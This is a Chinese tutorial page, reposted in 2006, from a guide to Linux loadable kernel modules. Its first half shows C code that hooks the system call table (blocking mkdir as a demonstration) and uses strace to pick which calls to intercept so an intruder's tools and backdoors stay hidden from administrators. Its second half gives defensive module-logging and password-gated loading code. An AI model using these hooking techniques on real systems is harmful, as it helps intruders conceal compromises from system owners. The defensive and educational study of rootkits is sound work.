首页 | 邮件资讯 | 技术教程 | 解决方案 | 产品评测 | 邮件人才 | 邮件博客 | 邮件系统论坛 | 软件下载 | 邮件周刊 | 热点专题 | 工具
网络技术 | 操作系统 | 邮件系统 | 客户端 | 电子邮箱 | 反垃圾邮件 | 邮件安全 | 邮件营销 | 移动电邮 | 邮件软件下载 | 电子书下载

操作系统

Windows 9X | Linux&Uinx | Windows Server | 其它操作系统 | Vista | FreeBSD | Windows 7 |
首页 > 操作系统 > Linux&Uinx > Linux系统可卸载内核模块完全指南(2) > 正文

Linux系统可卸载内核模块完全指南(2)

出处:蓝森林 作者:蓝森林 时间:2006-5-30 14:14:00
 第二部分 渐入佳境

  2.1 如何截获系统调用

  现在我们开始入侵LKM,在正常情况下LKMs是用来扩展内核的(特别是那些硬件驱动)。然而我们的‘Hacks’做一些不一样的事情。他们会截获系统调用并且更改他们,为了改变系统某些命令的响应方式。

  下面的这个模块可以使得任何用户都不能创建目录。这只不过是我们随后方法的一个小小演示。

  #define MODULE

  #define __KERNEL__

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  extern void* sys_call_table[];

  /*sys_call_talbe 被引入,所以我们可以存取他*/

  int (*orig_mkdir)(const char *path);

  /*原始系统调用*/

  int hacked_mkdir(const char *path)

  {

  return 0;

  /*其他一切正常,除了新建操作,该操作什么也不做*/

  }

  int init_module(void)

  /*初始化模块*/

  {

  orig_mkdir=sys_call_table[SYS_mkdir];

  sys_call_table[SYS_mkdir]=hacked_mkdir;

  return 0;

  }

  void cleanup_module(void)

  /*卸载模块*/

  {

  sys_call_table[SYS_mkdir]=orig_mkdir;

  /*恢复mkdir系统调用到原来的哪个*/

  }

  编译并启动这个模块(见1.1)。然后尝试新建一个目录,你会发现不能成功。由于返回值是0(代表一切正常)我们得不到任何出错信息。在移区模块之后,我们又可以新建目录了。正如你所看到的,我们只需要改变sys_call_table(见1.2)中相对应的入口就可以截获到系统调用了。

  截获系统调用的通常步骤如下:

  找到你需要的系统调用在sys_call_table[]中的入口(看一眼include/sys/syscall.h)

  保存sys_call_table[x]的旧入口指针。(在这里x代表你所想要截获的系统调用的索引)

  将你自己定义的新的函数指针存入sys_call_table[x]

  你会意识到保存旧的系统调用指针是十分有用的,因为在你的新调用中你会需要他来模拟原始调用。当你在写一个'Hack-LKM'时你所面对的第一个问题是:

  我到底该截获哪个系统调用?
 2.2一些有趣的系统调用

  你并不是一个管理内核的上帝,因此你不知道每一个用户的应用程序或者命令到底使用了那些系统调用。因此我会给你一些提示来帮助你找到获得控制的系统调用。

  读源代码。在一个象linux这样的系统中,你可以找到任何一个用户(或者管理员)所用的程序的源代码。一旦你发现了某个基本的函数,像dup,open,write.....转向b

  下面看看include/sys/syscall.h(见1.2)。试着去直接找相对应的系统调用(查找dup->你就会发现SYS_dup,查找write,你就会发现SYS_write;....)。如果没有找到转向c

  一些象socket,send,receive,....这样的调用并不是通过一个系统调用实现的--正如我以前说过的那样。这时就要看一看包含相关系统调用的头文件。

  要记住并不是每一个c库里面的函数都是系统调用。绝大多数这样的函数和系统调用毫无关系。一个稍微有一点经验的hacker会看看1.2里面的列表,那已经提供了足够的信息。例如你要知道用户id管理是通过uid的系统调用实现的等等。如果你真的想确定你可以看看库函数/内核的源代码。

  最困难的问题是一个系统管理员写了自己的应用程序来检查系统的完整性或者安全性。关于这些程序的问题在于缺乏源代码。我们不能确定这个程序到底是如何工作的以及我们应该截获那些系统调用来隐藏我们的礼物/工具。甚至有可能他引入了一个截获hacker们经常使用的系统调用的LKM来隐藏他自己,并检查系统的安全性(系统管理员们经常使用一些黑客技术来保护他们的系统)。

  那我们应该如何继续呢?

  2.2.1 发现有趣的系统调用(strace方法)

  假定你已经知道了某个系统管理员用来检查系统的程序(这个可以通过某些其他的方法得到,象TTY hijacking(见2.9/appendix

  a),现在唯一的问题是你需要让你的礼物躲过系统管理员的程序直到.....)。

  好,现在用strace来运行这个程序(也许你需要root权限来执行他)

  # strace super_admin_proggy

  这会给你一个十分棒的关于这个程序的每个系统调用的输出。这些系统调用有可能都要加入到你的hacking LKM当中去。我并没有一个这样的管理程序作为例子给你看。但是我们可以看看’strace whoami‘的输出:

  execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0

  mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =

  0x40007000

  mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0

  mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0

  stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0

  open("/etc/ld.so.cache", O_RDONLY)   = 3

  mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000

  close(3)                = 0

  stat("/etc/ld.so.preload", 0xbffff780) = -1 ENOENT (No such file or

  directory)

  open("/lib/libc.so.5", O_RDONLY)    = 3

  read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096

  mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000

  mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0)

  = 0x4000c000

  mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,

  0x81000) = 0x4008e000

  mmap(0x40094000, 204536, PROT_READ|PROT_WRITE,

  MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000

  close(3)                = 0

  mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0

  munmap(0x40008000, 13363)       = 0

  mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0

  mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0

  mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0

  personality(PER_LINUX)         = 0

  geteuid()               = 500

  getuid()                = 500

  getgid()                = 100

  getegid()               = 100

  brk(0x804aa48)             = 0x804aa48

  brk(0x804b000)             = 0x804b000

  open("/usr/share/locale/locale.alias", O_RDONLY) = 3

  fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0

  mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =

  0x40008000

  read(3, "# Locale name alias data base\n#"..., 4096) = 2005

  brk(0x804c000)             = 0x804c000

  read(3, "", 4096)           = 0

  close(3)                = 0

  munmap(0x40008000, 4096)        = 0

  open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file

  or directory)

  open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3

  fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0

  mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000

  close(3)                = 0

  geteuid()               = 500

  open("/etc/passwd", O_RDONLY)     = 3

  fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0

  mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =

  0x4000b000

  read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1074

  close(3)                = 0

  munmap(0x4000b000, 4096)        = 0

  fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0

  mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =

  0x4000b000

  write(1, "r00t\n", 5r00t

  )         = 5

  _exit(0)                = ?

  这确实是一个非常美妙的关于命令’whoami‘的系统调用列表,不是么?在这里为了控制’whoami‘的输出需要拦截4个系统调用

  geteuid()               = 500

  getuid()                = 500

  getgid()                = 100

  getegid()               = 100

  可以看看2.6的哪个程序的实现。这种分析程序的方法对于显示其他基本工具的信息也是十分重要的。

  我希望现在你能够找到那些能够帮助你隐藏你自己的,或者做系统后门,或者任何你想做的事情的系统调用.
 第三部分 解决方案(给系统管理员)

  3.1 LKM检测的理论和想法

  我想现在该到帮助我们的系统管理员来保护他们的系统的时候了。在解释一些理论以前,为了使你的系统变的安全,请记住如下的基本原则:

  绝对不要安装你没有源代码的LKMs。(当然,这对于普通的可执行文件也适用)

  如果你有了源代码,要仔细检查他们(如果你能够的话)。还记得tcpd木马问题吗?大的软件包很复杂,因此很难看懂。但是如果你需要一个安全的系统,你必须分析源代码。

  甚至你已经遵守了这些原则,你的系统还是有可能被别人闯入并放置LKM(比如说溢出等等)。

  因此,可以考虑用一个LKM记录每一个模块的加载,并且拒绝任何一个不是从指定安全安全目录的模块的加载企图。(为了防止简单的溢出。不存在完美的方法...)。记录功能可以通过拦截create_module(...)来很轻易的实现。用同样的方法你也可以检查模块加载的目录.

  当然拒绝任何的模块的加载也是有可能的。但是这是一个很坏的方法。因为你确实需要他们。因此我们可以考虑改变模块的加载方式,比如说要一个密码。密码可以在你控制的create-module(...)里面检查。如果密码正确,模块就会被加载,否则,模块被丢弃。

  要注意的是你必须掩藏你的模块并使他不可以被卸栽。因此,让我们来看看一些记录LKM和密码保护的实现的原型。(通过保护的create_module(...)系统调用)。

  3.1.1 一个使用的检测器的原形

  对于这个简单的例子,没有什么可以说的。只不过是拦截了sys_create_module(...)并且记录下了加载的模块的名字。

  #define MODULE

  #define __KERNEL__

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  extern void* sys_call_table[];

  int (*orig_create_module)(char*, unsigned long);

  int hacked_create_module(char *name, unsigned long size)

  {

  char *kernel_name;

  char hide[]="ourtool";

  int ret;

  kernel_name = (char*) kmalloc(256, GFP_KERNEL);

  memcpy_fromfs(kernel_name, name, 255);

  /*这里我们向syslog记录,但是你可以记录到任何你想要的地方*/

  printk("<1> SYS_CREATE_MODULE : %s\n", kernel_name);

  ret=orig_create_module(name, size);

  return ret;

  }

  int init_module(void)

  /*初始化模块*/

  {

  orig_create_module=sys_call_table[SYS_create_module];

  sys_call_table[SYS_create_module]=hacked_create_module;

  return 0;

  }

  void cleanup_module(void)

  /*卸载模块*/

  {

  sys_call_table[SYS_create_module]=orig_create_module;

  }

  这就是所有你需要的。当然,你必须加一些代码来隐藏这个模块,这个应该没有问题。在使得这个模块不可以被卸载以后,一个hacker只可以改变记录文件了。但是你也可以把你的记录文件存到一个不可被接触的文件中去(看2.1来获得相关的技巧).当然,你也可以拦截sys_init_module(...)来显示每一个模块。这不过是一个品位问题。
  3.1.2 一个密码保护的create_module(...)的例子

  这一节我们会讨论如何给一个模块的加载加入密码校验。我们需要两件事情来完成这项任务:

  一个检查模块加载的方法(容易)

  一个校验的方法(相当的难)

  第一点是十分容易实现的。只需要拦截sys_create_module(...),然后检查一些变量,内核就会知道这次加载是否合法了。但是如何进行校验呢?我必须承认我没有花多少时间在这个问题上。因此这个方案并不是太好。但是这是一篇LKM的文章,因此,使用你的头脑去想一些更好的办法。我的方法是,拦截stat(...)系统调用。当你敲任何命令时,系统需要搜索他,stat就会被调用.

  因此,在敲命令的同时敲一个密码,LKM会在拦截下的stat系统调用中检查他.[我知道这很不安全;甚至一个Linux

  starter都可以击败这种机制.但是(再一次的)这并不是这里的重点....].看看我的实现(我从plaguez的一个类似的LKM中直接抢过来了很多现存的代码....)

  #define MODULE

  #define __KERNEL__

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  extern void* sys_call_table[];

  /*如果lock_mod=1 就是允许加载一个模块*/

  int lock_mod=0;

  int __NR_myexecve;

  /*拦截create_module(...)和stat(...)系统调用*/

  int (*orig_create_module)(char*, unsigned long);

  int (*orig_stat) (const char *, struct old_stat*);

  char *strncpy_fromfs(char *dest, const char *src, int n)

  {

  char *tmp = src;

  int compt = 0;

  do {

  dest[compt++] = __get_user(tmp++, 1);

  }

  while ((dest[compt - 1] != '\0') && (compt != n));

  return dest;

  }

  int hacked_stat(const char *filename, struct old_stat *buf)

  {

  char *name;

  int ret;

  char *password = "password";

  /*yeah,一个很好的密码*/

  name  = (char *) kmalloc(255, GFP_KERNEL);

  (void) strncpy_fromfs(name, filename, 255);

  /*有密码么?*/

  if (strstr(name, password)!=NULL)

  {

  /*一次仅允许加载一个模块*/

  lock_mod=1;

  kfree(name);

  return 0;

  }

  else

  {

  kfree(name);

  ret = orig_stat(filename, buf);

  }

  return ret;

  }

  int hacked_create_module(char *name, unsigned long size)

  {

  char *kernel_name;

  char hide[]="ourtool";

  int ret;

  if (lock_mod==1)

  {

  lock_mod=0;

  ret=orig_create_module(name, size);

  return ret;

  }

  else

  {

  printk("<1>MOD-POL : Permission denied !\n");

  return 0;

  }

  return ret;

  }

  int init_module(void)

  /*初始化模块*/

  {

  __NR_myexecve = 200;

  while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)

  __NR_myexecve--;

  sys_call_table[__NR_myexecve]=sys_call_table[SYS_execve];

  orig_stat=sys_call_table[SYS_prev_stat];

  sys_call_table[SYS_prev_stat]=hacked_stat;

  orig_create_module=sys_call_table[SYS_create_module];

  sys_call_table[SYS_create_module]=hacked_create_module;

  printk("<1>MOD-POL LOADED...\n");

  return 0;

  }

  void cleanup_module(void)

  /*卸载模块*/

  {

  sys_call_table[SYS_prev_stat]=orig_stat;

  sys_call_table[SYS_create_module]=orig_create_module;

  }

  代码本身很清楚.下面将会告诉你如何才能让你的LKM更安全,也许这有一些多疑了 :) :

  使用另外一种检验方式(使用你自己的用户空间接口,使用你自己的系统调用;使用用户的ID(而不仅仅是普通的密码);也许你有一个生物监测设备->读一些文档并且在linux下编写自己的设备驱动,然后使用他 :) ...)但是,要记住:哪怕是最安全的硬件保护(软件狗,生物监测系统,一些硬件卡)也常常脆弱的不安全的软件而被击败.你可以使用一种这样的机制来让你的系统变得安全:用一块硬件卡来控制你的整个内核.

  另外一种不这么极端的方法可以是写你自己的系统调用来负责校验.(见2.11,那里有一个创建一个你自己的系统调用的例子)

  找到一个更好的方法在sys_create_module(...)中进行检查.检查一个变量并不是十分的安全.如果某些人控制了你的系统.他是可以修改内存的(见下一章)

  找到一个方法使得一个入侵者没有办法通过你的校验来加载他的LKM

  加入隐藏的功能.

  ...

  有很多工作可以做.但是即使有了这些工作,你的系统也不是完全就是安全的.如果某些人控制了你的系统,他是可以发现一些方法来加载他的LKM的(见下一章);甚至他并不需要一个LKM,因为他只是控制了这个系统,并不想隐藏文件或者进程(和其他的LKM提供的美妙的功能).

  3.2 防止LKM传染者的方法

  内存驻留的扫描程序(实时的)(就像DOS下的TSR病毒扫描;或者WIN9x下的VxD病毒扫描)

  文件检查扫描器(检查模块文件里面的特征字串)

  第一种方法可以通过拦截sys_create_module实现(或者init_module调用).第二种方法需要一些模块文件的特征字串.因此我们必须检查两个elf文件头或者标志位.当然,其他的一些LKM传染者可能使用一些改进了的方法.(加密,自我更改代码等等).我不会提供一个检查文件的扫描器.因为你只不过需要写一个小的用户空间的程序来读进模块文件,并且检查两种elf文件头('ELF'字符串,比如)

相关文章 热门文章
  • Linux系统可卸载内核模块完全指南
  • Linux系统可卸载内核模块完全指南(3)
  • Linux系统可卸载内核模块完全指南(1)
  • linux的基本操作(上)
  • Linux系统下应用知识大荟萃
  • GNU GRUB启动管理器
  • 制作基于软盘的Linux系统
  • 网络配置文件快速解读
  • linux的基本操作(下)
  • 剖析Linux系统启动过程
  • DameWare让局域网管理不再繁琐
  • 在Redhat 9下实现双机热备和集群功能
  • LINUX守护进程介绍
  • Redhat advance server 2.1集群的安装与管理
  • Linux必须学会的60个命令-文件处理
  • 自由广告区
     
    最新软件下载
  • SharePoint Server 2010 部署文档
  • Exchange 2010 RTM升级至SP1 教程
  • Exchange 2010 OWA下RBAC实现的组功能...
  • Lync Server 2010 Standard Edition 标..
  • Lync Server 2010 Enterprise Edition...
  • Forefront Endpoint Protection 2010 ...
  • Lync Server 2010 Edge 服务器部署文档
  • 《Exchange 2003专家指南》
  • Mastering Hyper-V Deployment
  • Windows Server 2008 R2 Hyper-V
  • Microsoft Lync Server 2010 Unleashed
  • Windows Server 2008 R2 Unleashed
  • 今日邮件技术文章
  • 腾讯,在创新中演绎互联网“进化论”
  • 华科人 张小龙 (中国第二代程序员 QQ...
  • 微软推出新功能 提高Hotmail密码安全性
  • 快压技巧分享:秒传邮件超大附件
  • 不容忽视的邮件营销数据分析过程中的算..
  • 国内手机邮箱的现状与未来发展——访尚..
  • 易观数据:2011Q2中国手机邮箱市场收入..
  • 穿越时空的爱恋 QQ邮箱音视频及贺卡邮件
  • Hotmail新功能:“我的朋友可能被黑了”
  • 入侵邻居网络发骚扰邮件 美国男子被重..
  • 网易邮箱莫子睿:《非你莫属》招聘多过..
  • 中国电信推广189邮箱绿色账单
  • 最新专题
  • 鸟哥的Linux私房菜之Mail服务器
  • Exchange Server 2010技术专题
  • Windows 7 技术专题
  • Sendmail 邮件系统配置
  • 组建Exchange 2003邮件系统
  • Windows Server 2008 专题
  • ORF 反垃圾邮件系统
  • Exchange Server 2007 专题
  • ISA Server 2006 教程专题
  • Windows Vista 技术专题
  • “黑莓”(BlackBerry)专题
  • Apache James 专题
  • 分类导航
    邮件新闻资讯:
    IT业界 | 邮件服务器 | 邮件趣闻 | 移动电邮
    电子邮箱 | 反垃圾邮件|邮件客户端|网络安全
    行业数据 | 邮件人物 | 网站公告 | 行业法规
    网络技术:
    邮件原理 | 网络协议 | 网络管理 | 传输介质
    线路接入 | 路由接口 | 邮件存储 | 华为3Com
    CISCO技术 | 网络与服务器硬件
    操作系统:
    Windows 9X | Linux&Uinx | Windows NT
    Windows Vista | FreeBSD | 其它操作系统
    邮件服务器:
    程序与开发 | Exchange | Qmail | Postfix
    Sendmail | MDaemon | Domino | Foxmail
    KerioMail | JavaMail | Winwebmail |James
    Merak&VisNetic | CMailServer | WinMail
    金笛邮件系统 | 其它 |
    反垃圾邮件:
    综述| 客户端反垃圾邮件|服务器端反垃圾邮件
    邮件客户端软件:
    Outlook | Foxmail | DreamMail| KooMail
    The bat | 雷鸟 | Eudora |Becky! |Pegasus
    IncrediMail |其它
    电子邮箱: 个人邮箱 | 企业邮箱 |Gmail
    移动电子邮件:服务器 | 客户端 | 技术前沿
    邮件网络安全:
    软件漏洞 | 安全知识 | 病毒公告 |防火墙
    攻防技术 | 病毒查杀| ISA | 数字签名
    邮件营销:
    Email营销 | 网络营销 | 营销技巧 |营销案例
    邮件人才:招聘 | 职场 | 培训 | 指南 | 职场
    解决方案:
    邮件系统|反垃圾邮件 |安全 |移动电邮 |招标
    产品评测:
    邮件系统 |反垃圾邮件 |邮箱 |安全 |客户端
    广告联系 | 合作联系 | 关于我们 | 联系我们 | 繁體中文
    版权所有:邮件技术资讯网©2003-2010 www.5dmail.net, All Rights Reserved
    www.5Dmail.net Web Team   粤ICP备05009143号